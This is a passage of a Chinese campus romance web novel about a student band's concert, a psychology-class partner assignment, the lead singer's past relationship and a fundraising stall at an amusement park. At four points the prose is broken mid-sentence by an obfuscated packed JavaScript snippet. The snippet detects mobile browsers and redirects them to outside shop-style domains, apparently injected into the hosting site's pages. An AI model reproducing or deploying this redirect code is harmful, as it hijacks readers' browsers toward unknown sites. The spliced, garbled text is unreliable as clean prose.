齐扬做了个“安静”的手势：“谢谢大家的热情，这是我们晨星乐队自己创作的主题曲，也希望我们的乐队像歌里写的那样，成为一颗冉冉升起的新星。不过大家先把力气保留一下，我们接下来还有很多好听的歌，这一首比之前节奏更快一点，叫《这世界我定义》。” 歌曲一开头就是强烈的重金属音乐夹杂着鼓声，却不让人觉得刺耳，反而调动了你身体里的每一个细胞。宋之雯也学着前面的人那样，跟着音乐摇头晃脑，尽情释放自己。 早八的铃声还在耳边 桌边是成堆的试卷 日复一日地学习 你是否也感到疲倦 学生会又把你召唤 小组作业让你心烦意乱 追求一张完美的成绩单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529735|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可这不是我的答案 这回齐扬的声音是略微嘶哑的，压抑、愤恨、不满等复杂的情绪交织在一起，在努力地寻找着一个发泄的出口。听的人的心绪也在被他调动，因为每个人都能从歌词中找到自己的影子。 什么公平什么自由 去哪里找 放肆去嗨放肆去爱 只有我们 改变世界改变一切 由我定义 这段旋律简单容易上口，听过的人只要一两遍就学会了。齐扬唱到最后，几乎是全场的人奋力挥舞着手臂，像喊口号一样和他喊着这几句话。无论什么作业什么竞赛，这一刻就去他们的吧，大家只想给自己平时积攒的压力一个释放的渠道。 结束后的掌声来得比上一首更加热烈，大家差不多把手掌都拍红了，纷纷为歌词叫好。这时背景音乐的旋律忽然转成了舒缓的音乐，台上的成员互换了位置，何瑜走了上来，齐扬走到一边开始介绍道：“之前晨星乐队一直是我主唱，我想也要给大家一个认识其他成员的机会，所以他们每人会带来一首solo。” 台下早有何瑜的学生喊着“瑜姐”，何瑜也微笑着和他们打招呼，然后开始唱自己选的这首《失语者》。 这是宋之雯第一次听何瑜唱歌，不得不说她的声音真是美艳动人，高音通透直冲天灵盖，整首歌下来行云流水几乎没有瑕疵。 吴衡唱的是《RossandRachel》，歌曲讲了《老友记》中瑞秋和罗斯的故事，两人虽然分分合合十年，但仍然是彼此心中最重要的人。吴衡的嗓音很清亮，唱这首歌也充满了温柔，只是技巧上比何瑜差了一点。 韦峰带来的是五月天的《盛夏光年》，他本身的嗓音就是硬汉略带点沧桑，输出全靠吼，跟这首歌竟然意外地适配。 到了叶琛的时候他略带羞涩地笑笑：“我唱歌不太好听，不过会为了大家努力练的。” 底下发出了一片友善的笑声。 叶琛把吉他竖了起来：“那就让它代替我唱一下吧。”说着就拿指尖去拨琴弦，一番花里胡哨的招式过后，响起的是佩服的掌声。 后面又是几首耳熟能详的歌曲，如《无地自容》《再见，杰克》《温柔》等，大家也乐此不疲地跟着唱，嗓子都快唱哑了。 几首歌唱完，何瑜等人都停下了手中的乐器，看着齐扬从台边取了吉他背在肩上，大喊道：“下面有请齐扬带来他的solo。” 此刻一束单独的白光打在了他身上，周围的一切都隐没在了黑暗中，齐扬就在这样的焦点下低着头，轻轻拨动琴弦，他唱的是甲壳虫乐队的《Letitbe》。 Letitbe,letitbe 顺其自然顺其自然 Letitbe,letitbe 顺其自然顺其自然 Whisperwordsofwisdom，letitbe 低语着智慧的话语顺其自然 他带着磨砂感的嗓音让这首歌保留了原本的味道，但同时又加入了年轻的血液，让人看见了他的冲劲。中间的一段大合唱齐扬走了下来，几乎是清唱地递出话筒，前排的人立刻凑了上来几乎是用喊的声音唱，最后演变为了全场的大合唱，歌声飘荡在夜空里格外动听。 齐扬绕了一圈走回台上，落下最后一个音符，意味深长地说道：“那么我们今天的演出就......” “不行！”有人在底下怒吼道，“安可！”紧接着全场跟着他一起，没有丝毫的排练和组织，却意外整齐地喊着“安可”。 齐扬愣住了，这样的情况是他怎么也没有料到的。他与其他的几个人对视了好几眼，最后终于做了决定走回台上：“那我再临时加一首歌，这次真的最后一首了，《我们凭借黑暗的痕迹相认》。” 16. 第十六章 瑕疵 他搬了把椅子坐着，吉他搭在膝盖上，修长的手指勾着琴弦，轻柔的音乐从他的指缝间缓缓流出。 总在漫长夜里相会 多快乐的秘密沉醉 流浪的灵感交错飘过天空 地上我们独自举杯 刚刚那个锋芒毕露的少年好像只是一瞬间的事，此刻他收起了身上所有的刺，注视着自己身上的伤口，向你讲述着他的故事，声音里有种如水般的温柔。 你看那星空流转去宇宙孕育诗句 潮水上升云幕弥漫人间的相遇 明亮湿润眼睛呼之欲出的爱意 这怯懦和勇敢无关身份结局 千万人从千万角落向爱人奔去 哪怕注定不会圆满也要继续 我们写着浪漫命运走过伤痛废墟 留下了痕迹才活下去 大家都安静地听着，没有人再尖叫或者吵闹，只有此起彼伏的呼吸声。齐扬的声音低沉但富有质感，因此在这空旷的黑夜里显得更为突出，歌声飘散开来，落在每个人的心间，使人不由地为之沉醉。此刻的舞美也只剩下了一束简单的白光，从头顶开始落下，一直到齐扬的发间、衣服，给他整个人镀上了一层月亮般的银辉，在浑浊的夜色中，这便是唯一的光。 再借一份故事力气去面对 幸运的人才能一生无憾无愧 我只想要茫茫人海和你擦肩时候 一个认出彼此的机会 这首歌让宋之雯对齐扬的印象大为改观，原来他唱歌不是一味地嘶吼、炫技，转换成抒情歌的时候也能牢牢抓住听众的感情。最后一个尾音落下的时候，许多人还沉浸在情绪中出不来，或多或少都通过这首歌想到了自己的一些经历。 齐扬拿着吉他站了起来，和其他成员一起朝大家深深鞠了一躬：“今天的演出就已经全部结束了，感谢大家的观看，祝大家晚安。”说到最后一个字的时候，他还特意压低了声音，拖长了尾音，听起来更加蛊惑。 没等大家反应过来，灯光就瞬间熄灭，乐队的成员消失在了舞台后面。 宋之雯偏过头来看向舒青竹：“我们也走吧，今天感觉怎么样？” 舒青竹这才从做梦的状态里醒了过来，心服口服地点点头：“我终于知道为什么这么多人喜欢他了，这谁能不喜欢啊？我的天哪他那个声音简直是人间蛊王，听得我心里一颤一颤的，可惜前面都是人没多拍几张照片。” 宋之雯笑了：“我老早跟新媒体中心的同学打过招呼了，照片少不了的。” “真的吗？那太好了。”舒青竹兴奋地挽住她的胳膊，“到时候一起分享一下。” 回到寝室，杨灵和钟小欢早就已经洗漱完毕，瘫在椅子上追剧。听到有动静，杨灵首先摘下了耳机：“你们怎么回来得那么晚？” 舒青竹找到了可以分享的人，立刻叽里呱啦地把刚才看晨星乐队专场的感受讲了一通，语气里都是赞赏。 钟小欢疑惑：“你们是怎么抢到票的？我去排都排不到。” “我们社长送了两张票。”宋之雯如实回答。 “真好，希望下次我也能看上吧。”钟小欢戴回了耳机。 舒青竹还没有说个痛快，拉着杨灵继续喋喋不休：“你还记得上次那个‘奶油蛋糕’不？我今天又遇到她了，跟你说她可恶心了，明明是社长送的票，搞得好像我们抢来的一样，对我们阴阳怪气的。” “是吗？那确实蛮烦的。”杨灵跟着她抱怨了几句，这才让舒青竹把情绪都发泄完了，停了下来。 宋之雯拿出电脑，开始写今天的稿子。舒青竹经过的时候眼睛都瞪圆了：“都这么晚了，你还要写稿？你们部长这么压榨你？” “他没催我，是我们吉他社还要写一份，我想着快点写好交上去，毕竟刚进来做事还是积极一点。”宋之雯解释道。 舒青竹同情地看了她一眼：“那你加油，一个人要打两份工，真惨。” 宋之雯写稿子一直写到后半夜才把第一份稿子写完。第二天早上起来又继续马不停蹄地写，赶在中午之前把两份稿子发给了林嘉和还有韦峰，吉他社的顺便还帮忙排了个版。 晨星乐队的那期推文一经推出，便创下了学校公众号浏览的历史新高，尤其是项婉拍摄的照片受到了一致好评。许多看过演出的同学借这个机会在下面留言发疯，没看过的懊丧地发誓下次一定要去看。 这样的热闹一直持续了好几天，导致宋之雯去上心理课的时候看到齐扬还有点陌生。褪去了舞台上华丽的服装，他今天只穿了一件基础款的卡其色大衣，头发有些凌乱，在人群中却依旧显眼。 他抬起头，看宋之雯愣在那里，侧身让了让：“愣着干什么，坐进来啊。” 好在宋之雯刚坐下，心理老师就走了进来，开始上课：“上次大家交的作业我都批改了，看得出来大家对对方身上的特质都观察得非常细致，并且很多人也是愿意去接受对方身上的不同的，这是一个好的开始。” 宋之雯想起了自己写这张纸的时候，列了齐扬的优点无非是长得帅、唱歌好听这些，缺点她犹豫了一下，还是如实写道： 过分自信 脾气不好 共情能力差 要交作业的时候，她很心虚地把这张纸反过来折了一折，结果还是一下子被齐扬抽走了。他盯着看了好一会儿，才扯着嘴角笑道：“你就是这么对你社长的？看看我是怎么写你的？” 宋之雯接过他的纸来看，优点写了一大堆，缺点只有一条：太过老好人。 ？什么时候像个好人也算缺点了？ 吴衡看了直笑：“兄弟，你把人家写得这么好，结果人家还不领情。” 齐扬一把把宋之雯的纸收了回来，只回复了他一个字：“滚。”然后叠在一起交了上去。 吴衡吐吐舌头坐下了。 宋之雯揉揉脑袋，决定不再去纠结为什么自己像个老好人的问题，努力让自己的思绪回到这堂课当中。 齐扬似乎看出了她在想什么，往她这边凑近了一点：“帮人写稿还顺带排版不算老好人？” 宋之雯也压低了声音说：“那能怎么办？吉他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558251|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 社的管理人员一共只有三个人。” “以后把自己分内的事做好就行，剩下的都交给韦峰，他又不是什么都不会。” “......”宋之雯似乎理解那个吉他手为什么受不了了，社长自己卷连带着社员也卷，不过表面上她只是回复了一个“哦”字。 老师友好地往他们这个方向看了一眼，宋之雯赶紧闭嘴继续听课。 “我们之前讲到与伴侣的矛盾很可能来自于童年的创伤，对于这种矛盾很多人会采取回避的态度，因为他们不愿意面对童年的伤痛，会一直采取对抗的方式，而这节课我们要讲的就是怎么解决矛盾。”老师停顿了很长时间才往下说，声音十分坚定，“很简单，直面他。” “你要弄清楚是你的什么经历导致了你这样的性格，才会产生这样的矛盾，和你的伴侣好好沟通，把它说出来，和自己和解。”说完老师还在大屏幕上分享了几种沟通的方法。 大家十分受用地纷纷拍下来或者往本子上抄。 宋之雯撑着头看向齐扬，虽然办法是有的，但他愿不愿意说出来就是个问题了，而且从他上次的表现来看，大概率是不愿意说的。 课堂快接近尾声的时候，老师在课件上展示了这节课的课后作业：“回去和你的搭档好好沟通，找出你们出现分歧的原因，并尝试着把内心最痛苦的事说出来。下节课我们可以分享一下，好的，下课吧。” 一听到下课，吴衡第一个积极地抓起书包，还拉着齐扬一起冲了出去：“我们先走了，拜拜。” 宋之雯草草和齐扬他们道了别，叹着气回到了寝室。 舒青竹看她的脸色不太对劲，问道：“怎么了？” “怎么办呀？“宋之雯一屁股陷在了椅子里，“老师让我们和自己的搭档沟通，还要说出内心最深处的秘密，我必须得知道齐扬的事了。” “那你就直接问呗。” “不行，你又不是没看到他上次那个态度，估计问了也不高兴。” 舒青竹挠挠头，忽然有了想法：“你可以找个他身边好弄一点的人，从他们那儿下手啊。” “有道理。”宋之雯开始翻自己的手机列表，翻来翻去还是锁定在了吴衡身上。 她鼓起勇气给他发了条消息：“在吗？” 吴衡立刻回复了：“在啊，有事吗？” “你明天有空吗？” 聊天界面停顿了几秒之后，吴衡才警惕地打字：“怎么？齐扬一个还不够，开始打观察员的主意了？” 宋之雯被他的自恋程度折服了，赶紧解释：“不是，问你点事情。” 吴衡依旧很谨慎：“什么事？” 宋之雯索性直说了：“齐扬的事。” “你问这个干嘛？有些事我也不太了解，你直接去问他好了。” “是比较私人的事，直接问他不太方便，而且他估计也不会说。” “哦，我懂了，不过.......”吴衡卖了个关子。 宋之雯立刻紧张起来：“不过什么？” “你要请我喝奶茶。” 17. 第十七章 偷感 宋之雯回复了一个“没问题”，问了一下吴衡下课的时间，和他约在奶茶店见面。 这家奶茶店是学校自己创立的品牌，因为料很足添加剂又少所以广受学生的欢迎。宋之雯到的时候店里已经坐了不少学生，她便站在门口等。 吴衡卡着点出现了，朝她招了招手，又不好意思地挠挠头：“我还没和你单独出来过，有点不习惯。” “没事，本来就是我麻烦你。”宋之雯推门进去，“想喝点什么？” 没想到吴衡却熟练地朝柜台走去：“一杯奶绿加雪顶加碧根果碎。” “.......”还真不客气。 宋之雯只点了杯最普通的珍珠奶茶，拿了之后指了指其中的一个位置：“坐在那里聊？” 吴衡环顾了一下四周：“这里人太多了，我们边走边说吧。” 宋之雯不知道他在卖什么关子，但也只能听从他走了出去。 刚走出门，一阵冷风刮来让她瑟缩了一下，看向吴衡的时候，他正吸了一大口奶茶：“好喝。” 宋之雯瞪了他一眼，吴衡感受到了她的愤怒值，便放下了奶茶：“你随便问吧，作为你们的观察员，我知道的一定全都告诉你。” 宋之雯便直截了当地问了：“你知道齐扬家是干什么的吗？” “我只知道他爸爸是开公司做生意的，妈妈是家庭主妇，其他不清楚。” “那他和妈妈的关系好吗？” “这个他还真的没和我说过。”吴衡看她的眼神有点异样，“怎么突然问这个了？” “没什么。”宋之雯摇摇头，“只是心理课上给我们的问题有关于家庭的。” 忽然她一个箭步挡在了吴衡面前，语气里有种不容反驳的压迫感：“给我讲讲齐扬前女友的事呗。” “啊......这......”吴衡也愣了，“这个一时半会说不完。” “那就慢慢说，我听着。”宋之雯走回他身边。 吴衡犹豫了一下，最后还是全部告诉了她。 齐扬的前女友叫余念，人如其名，是个很有气质的舞蹈生，两人是高中同学。 高中时期齐扬已经逐渐长开，在人群中帅得十分突出，因此吸引了不少女生给他送早餐，往他的课桌里塞礼物，对这些人齐扬都礼貌地拒绝。 余念也是众多追求者中的一个，但她自己也有许多男生喜欢，只不过她一门心思吊在齐扬身上，把这些男生都拒绝了。 她不算是最热烈的那一个，但绝对是坚持时间最久的那一个。当时她担任班里的英语课代表，卷子发下来的时候，齐扬的那一份永远是叠得整整齐齐的。他打球回来的时候，桌子上永远有一瓶水和一包纸巾。 齐扬私底下也找她说过不要再送之类的话，但她还是坚持着，久而久之齐扬拿她没办法，只好随她去了。 这样的情况持续了一年多，转折点发生在齐扬生日的时候。那天他在家里简单地吃了个蛋糕，奖励自己打了会儿游戏，就当是过生日了。大概八点的时候，他接到了一个电话，是余念打过来的，说给他带了生日礼物，让他下来拿一下。 齐扬向她表示了感谢，并说不需要礼物了，让她早点回去。 余念坚持着，说今天一定要让他拿到礼物。 齐扬不想和她多说，挂断了电话，想着过一会儿她就会自己回去的。 窗外面忽然开始下起了淅淅沥沥的小雨，齐扬往外面看了一眼，发现余念还站在那里，手紧紧地护住那个盒子。 再等会儿吧，雨下大了就会回去的。齐扬这么想着，又打了几盘游戏。 雨越下越大，劈里啪啦地打在窗沿上，流下的水珠把外面的世界模糊成了一片。 齐扬估计余念应该回去了，便把窗户推开一条缝往外看，眼前的景象让他惊呆了。 余念还躲在他家的屋檐下，头发湿哒哒地贴在身上，脸上淌着雨水。她蹲了下来，把盒子抱在怀里，好像一只无家可归的小猫。 齐扬的心颤了一下，他走到玄关拿了把伞，打开了门。 听到开门声，余念站了起来，惊喜地抬头：“你终于来了。” 齐扬把伞递给了她：“早点回去吧，别感冒了。” “你把礼物收了我就回去。”余念一把把盒子塞到了他手里，虽然精心保护着，但外面的包装纸还是淋到雨破损了一点，“打开看看。” 齐扬三下两下就拆开了，里面是科比的同款球鞋，多少男生想抢都抢不到的。 齐扬捧着礼物，忽然感觉无比沉重，他深吸了一口气，做了一个决定：“我们在一起吧。” 余念的眼睛瞬间瞪大了：“你说真的？” “嗯，说话算话。” 余念不知道是该哭还是该笑，只能竭力地掩饰自己内心的激动：“太好了，我等这一天等了好久了。” 齐扬笑着看她，柔声说道：“雨下大了，快回去吧，我们周一学校见。” “好的，我走了，拜拜。”余念撑着伞，欢快地跑进了雨里，脚下绽开了朵朵的水花。 后来他们就和普通的情侣一般，一起上下学，一起高考留在了A市。只不过齐扬来了C大，余念去了一所艺术学校学舞蹈，一旦有空他们就会互相坐地铁去找对方。 刚进大学齐扬就有了想组乐队的想法，和吴衡韦峰商量之后三个人一拍即合，后面又加入了何瑜，几个人开始在学校进行巡回演出。 乐队排练的时候余念也会来看，但渐渐地她就觉得无聊，开始坐在旁边玩手机。齐扬忙于排练也顾不上她，只能在乐队排练结束的时候，带她去学校的小吃街吃饭，甚至有时候可能连饭也吃不上，消息也没空回。 矛盾就是这么产生的，刚恋爱的小女生总是希望男朋友能多陪陪自己，但齐扬越往后越发现乐队就是自己真正想做的事情，他不愿意放弃。 这样拉扯了将近一年，余念忍受不了，主动提了分手，齐扬也没有挽留，因为他心里清楚他们之间已经无可挽回了。 宋之雯静静地听完这个故事，心里涌起一阵酸涩，也不知道是为齐扬还是为余念惋惜。她沉默了好久才开口道：“所以他们之后就没有联系了是吗？” “对，大一下就分了，断得很干净，后面再也没见过。” “所以他之后一直没找？” “没找，齐扬刚分手的时候还和我说了，怜悯不是爱，让我们不喜欢人家小姑娘就赶紧拒绝掉，别耽误人家。”吴衡猛吸了一口奶茶，叹了口气，“可惜了，那姑娘其实还挺好看的。” “所以你就因为一直拒绝了人家单到现在？”宋之雯突然来了这么一句。 吴衡被奶茶呛到了，抱着手臂惊讶地看着她：“没想到啊，你平时不怎么开口说话，一说话这么扎心，也不完全是，没合适的。” 宋之雯决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她回到寝室，把吴衡告诉她的都一五一十告诉了舒青竹，听得舒青竹脸色也有点凝重：“我就说嘛，男人有过经历后估计很难动心了，你要费一番力气了。” “我说了多少次了，只是心理课的搭档，又不一定要成。”宋之雯连忙反驳。 舒青竹笑着不说话了。 没想到第二天宋之雯就收到了齐扬的消息，内容很干脆：“下楼，我有事要和你说。” 宋之雯下了楼，正纳闷什么事这么重要的时候，就看见了齐扬身边可怜巴巴的吴衡。 见到宋之雯，吴衡立刻双手合十，给齐扬滑跪道歉：“我错了，哥，我不该把你的事情说出去。” 齐扬皱了皱眉：“你一个大老爷们，嘴怎么这么碎呢，别人让你说你就全说出来了？” “这次真的是我错了，不该答应她的，你就原谅我吧。”吴衡眨巴着眼睛求饶。 宋之雯实在看不下去了，挡在了吴衡面前：“是我让他说的，和他没有关系。” 齐扬的嘴角泛起了一丝笑意，他凑近了一点，宋之雯几乎能感受到他的鼻息喷在她脸上，像羽毛挠痒那般：“为什么不直接来问我？我难道会吃了你不成？嗯？” 宋之雯往后躲了一点：“上次我们划船的时候看你不太愿意说的样子，我怕问了也是白问。” “有些事情确实不方便说，但是能说的我都会告诉你的。”齐扬的笑意更浓了，“我们毕竟是搭档，这点信任都没有吗？让我很难过。” 宋之雯一时语塞，结结巴巴地回答道：“那......下次我问你的时候......你可要如实回答。” “行啊。”齐扬用力地点了一下头，揽过吴衡的肩膀，“这次我就算原谅你了。” 这时电话铃声忽然响起，齐扬接了起来，对着那头讲了几句然后挂断，表情有点复杂：“瑜姐有事找我们，要去音乐学院一趟。” 18. 第十八章 义卖 “那......我就先回去了？”宋之雯指了指宿舍的方向。 “不碍事，你现在也算是编外人员了，过去看看吧。”齐扬看着她说道。 社长都发话了，宋之雯也不好拒绝，便跟着他们一起走到了音乐学院。 何瑜老早等在门口了，同样站在那里的还有韦峰。看见他们过来也没说什么，只是招手把他们带到了一个隐蔽的角落。 “怎么了瑜姐，这么卖关子？”齐扬率先发问。 “嘘。”何瑜把手放到嘴唇边，又左右看了看，确定这里没有办公室的人，“是经费报销的问题。” “怎么了？”吴衡紧张起来。 “学院说晨星音乐社不属于音乐学院管辖的社团，所以跨年晚会的经费不给报销，我和他们极力争取，也只能给个友情价。”何瑜伸出了一根手指。 “一千？”齐扬问道。 何瑜鄙视地看了他一眼：“你也想得太美好了，学院有这么大方？” 韦峰抢先说了：“只有一百。” “这算什么？”齐扬不屑地撇了撇嘴，“给了还不如不给。” 何瑜看他的眼神有了点警告的意味：“能给你就不错了，别挑了。” “那怎么办啊瑜姐？”吴衡皱紧了眉头，“现在的经费要租乐器、租服装，还要给成员买礼物肯定是不够的。” “要不？找老社长帮忙？”韦峰犹豫地说。 “拉倒吧你。”齐扬拍了他一下，“老社长开这个录音棚又不赚钱，每个月勉强养活自己，你还问他借钱。” 何瑜沉思了一会儿：“要不吉他社的课时费我就不要了，都给音乐社吧。” “不行啊瑜姐，你这让我们多不好意思，况且也治标不治本。”吴衡急了。 齐扬求助地看向韦峰：“哥们，要不你吉他社的经费挪过来一点呗，你不是社费收了挺多的吗？” 韦峰用鼻孔“哼”了一声：“你是不知道社费有一半的钱都去买吉他了，况且下学期我们不搞活动啊，我还要留点。不是我说你那个舞台也太费钱了。” “行了行了，有舞台不是我们一直以来的梦想吗？”何瑜阻止他继续说下去，“别好好的没说两句又吵起来，倒不如回去想想挣钱的办法。” “可是我们还是一个学生怎么挣钱啊。”吴衡叹气。 “挣钱的办法有很多，总会想到的。”何瑜挥挥手把他们赶了回去，“行了我来想办法吧，你们先回去。” 宋之雯和齐扬结伴走出了音乐学院的大楼，直到身后的人都不见了，齐扬才停住了脚步：“我的秘密你都知道了，那能告诉我你的秘密吗？” 他俯视着她，留下一小片阴影把她包裹其中。 宋之雯有点紧张地吞了吞口水：“其实我也没什么秘密，我爸早年读了个中专，被分配到了建筑公司做经理，后来就认识了在银行工作的我妈。不过我爸本人特别喜欢音乐，家里的唱片磁带都是成箱的，还经常邀请别人来家里唱歌。我妈对这些不是很感兴趣，说过几次，看阻止不了，也就随他去了。” “感情经历的话......”她磨蹭了好久才说道，“我高中的时候数学不是很好，有一个男生数学好我就经常问他问题，后来被老师误会在早恋请家长了。我妈很生气把我骂了一顿，然后就和那个男生没有来往了。” 齐扬轻轻地笑了一下：“那好，这样我们都没有秘密了，你倒是也很坦诚。” 宋之雯不明所以地看着他。 齐扬重新迈开了步伐：“走吧，我送你回宿舍。” 快到周末的时候，宋之雯收到了一条何瑜的消息：“阿雯，我们决定周末的时候去游乐园摆摊卖奶茶，你来不来？” 宋之雯还没有过摆摊的经历，因此十分新奇，一口答应了下来：“好。” 周六那天她起了个大早，按照何瑜给的地址来到了学校的教师宿舍。 学校给教师配置的公寓条件不错，和在自己家里没什么区别，进去就是一个灶台可以做饭，再是客厅、卧室、洗手间一应俱全。何瑜正把一大罐茶叶倒下去炒制，再加入牛奶，很快一股清新的茶香味就飘满了整间屋子。她舀了一勺给吴衡尝：“怎么样？甜度还够吗？” 吴衡竖起了大拇指：“瑜姐的手艺那必然是很赞的。” “你看看我为你们牺牲了多少，要好好感谢我。”奶茶出锅后何瑜便指挥着齐扬和韦峰装进桶里，叶琛负责整理小料的盒子，吴衡负责把塑料杯一个个叠好。准备工作完毕之后一行人便扛着家伙下楼了。 何瑜老早和游乐园的大爷打过了招呼，进去找了块空地把折叠桌子撑开，再铺上精美的桌布，上面摆了块彩色的玻璃板，用秀气的字体写着：奶茶8元一杯。 上午游客还不是很多，但还是有人陆陆续续在摊前停留了一会儿，何瑜抓住机会殷勤地说道：“天气冷要不要买杯奶茶喝？我们是大学生在做兼职，自己做的。” 说完她用眼神示意吴衡拿一个迷你的杯子给人家喝一口，那人尝了一口，脸上露出惊喜的表情，很快买走了第一杯奶茶。 “我说你们能不能给力一点，吆喝一下，不然怎么卖得掉。”何瑜叉着腰教训那几个男生。 叶琛的脸有点红：“瑜姐，我实在叫不出口，要不我还是负责收钱好了。” 吴衡拍了一下韦峰的肩膀：“你嗓门大，你来叫。” 韦峰踢了他一脚：“你整天瑜姐瑜姐的，应该你来叫才对。” 宋之雯实在看不下去了，也不知道哪儿来的勇气：“阿姨，我们是大学生在做兼职，这些奶茶是我们自己做的，没有添加剂而且不贵，要尝一下吗？” 带小孩的阿姨开始有了点兴趣：“是真牛奶吗？” “对的，可以尝尝。”宋之雯拿了一杯试喝给她。 阿姨细细地品尝了一下，砸吧砸吧嘴：“还真是，那就买两杯吧。” 宋之雯把两杯奶茶盖好盖子递给了她：“谢谢阿姨。” 等阿姨领着小女孩远去了以后，何瑜才骄傲地抬起头：“你看看人家，再看看你们。” 不知什么时候齐扬站到了宋之雯身边，开始大声喊道：“瞧一瞧看一看，真茶真奶，不含任何添加剂，好喝不贵。” 齐扬的那张脸果然有作用，立刻就有两个小姑娘过来问这个奶茶怎么卖，齐扬都笑脸相迎地给她们装好奶茶，并客气地把她们送走了。 “行，今天你就是我们的门面了，加油。”何瑜向他投去一个赞许的目光。 吴衡和韦峰也不扭扭捏捏了，大胆地开始叫卖。甚至吴衡直接拿着一杯试喝塞到人家姑娘的手里，姑娘也不好意思白喝，最后还是买了一杯走。 到了中午光顾摊位的游客越来越多，叶琛他们忙着收钱都抬不起头，在大家的努力下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582734|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一桶奶茶很快就见了底。 吴衡去买了盒饭过来，大家站了几小时都累了，坐在地上七扭八歪地开始吃饭。何瑜仔细地数着一上午的收获，数了几遍之后把钱递给了齐扬：“你看看是不是少了点？” 齐扬又数了一遍：“赚的是有一点少。” “那我们明天再摆摊？”吴衡问。 “我倒有一个主意。”何瑜拉了宋之雯和吴衡过来，开始在他们耳边耳语，听得宋之雯直笑。 齐扬不满地看了他们一眼：“你们在商量什么呢？听这笑声就知道没好事。” 吴衡站起身走出去了。宋之雯拿过玻璃板，擦掉原来的字，开始在上面写写画画，还特意加了个精美的边框，放到了齐扬的前面。 齐扬低头一看，原来上面写的是“自主点歌，5块钱一首，不好听不要钱”，还一闪一闪地发亮。 齐扬被气笑了：“行，玩我是吧。” 正好这时候吴衡拿着吉他回来了，一把塞到他怀里，悲壮地看了他一眼：“牺牲一下哥们，出卖一下色相。” 齐扬无奈地把吉他背在身上，小声说道：“大学生兼职，照顾一下生意，有需要点歌的吗？” 这时有一个中年大妈路过，好奇地往这儿看了一眼：“小伙子，是什么歌都可以吗？” “对的阿姨，只要我能唱。” “那《山丹丹花开红艳艳》你会唱吗？” 齐扬的脸色明显变了，但还是艰难地答应道：“会唱阿姨，我给您唱，您听一听。” 说完齐扬扫了几下弦，开始开口唱，沙哑的嗓音配合着欢快的歌词竟别有一番味道，充满了故事感，是那种历经困难后的释然。 大妈听得有点动容，掏出了一张五块钱，后面又觉得还不够，加了一张十块钱塞到他手里，还语重心长地拍了拍他的手：“小伙子，买点吃的去吧，别大冷天出来卖唱了。” “谢谢阿姨，我也是想锻炼一下胆量。”齐扬微笑着安慰她。 “好，锻炼好啊，年轻人就是要多锻炼自己。”大妈又叮嘱了他几句，才恋恋不舍地走了。 大妈走后又来了一个小女孩，奶声奶气地问：“大哥哥，可以给我唱一首《数鸭子》吗？” 齐扬犹如被雷劈了一般，但表面还是答应了：“好。” 他蹲了下来，面对着小女孩，尽可能把声音伪装得活泼一些，脸上还挂着灿烂的笑容，到了关键时刻还和小女孩一起拍手。 吴衡和韦峰在一旁努力忍着笑，到最后实在忍不住了才走远了笑出了声。 小女孩精心数好五个硬币放到他手里，甜甜地和他道别：“谢谢哥哥。” 过了一会儿，又来了一个梳着马尾穿着校服的女高中生，满怀期待地看着他：“可以给我唱一首《小情歌》吗？” “没问题。”何瑜在一旁拿了乐器，又招呼其他人，“你唱吧，我们给你伴奏。” 这场演出异常成功，女高大方地拿出一张二十块，然后心满意足地走了。 很快这个乐队组合吸引了不少人，要点歌的人都围成了一圈，直到傍晚时分人才渐渐少了。 齐扬把吉他从背上拿下来，正收拾乐器的时候，宋之雯殷勤地递上一瓶水：“喝点水，辛苦了。” 齐扬不客气地接过水，喉结咕噜咕噜地滚动，然后伸手擦了擦嘴角的水渍，笑着说：“你们是要累死我吗？” 19. 第十九章 合作 宋之雯不知道该怎么回答，半天才挤出一个笑容：“这样赚钱快，就这么一次，下次不会用了。” 吴衡狗腿地过去给他揉揉肩：“辛苦社长了，你就当是为音乐社忍辱负重了。” “滚蛋，我在这儿卖唱你在旁边笑得倒是很开心。”齐扬一把把他的手拍掉。 吴衡立刻躲开一米远：“我错了我错了，可是真的很好笑，实在忍不住。” 天色渐渐暗了下来，游乐场所有设施的灯光都在瞬间亮起，各种颜色流光溢彩，好像一个童话的世界。 “我说......”齐扬看向宋之雯，“来都来了，不玩玩吗？” “对呀。”吴衡一拍手，“不能白来。” “想玩什么？”齐扬继续盯着宋之雯，琥珀色的眼睛如水般深沉。 宋之雯的答案却出乎意料：“旋转木马。” 齐扬没忍住笑出声来：“就这么简单？” “嗯，小的时候经常玩，想回忆一下童年。” 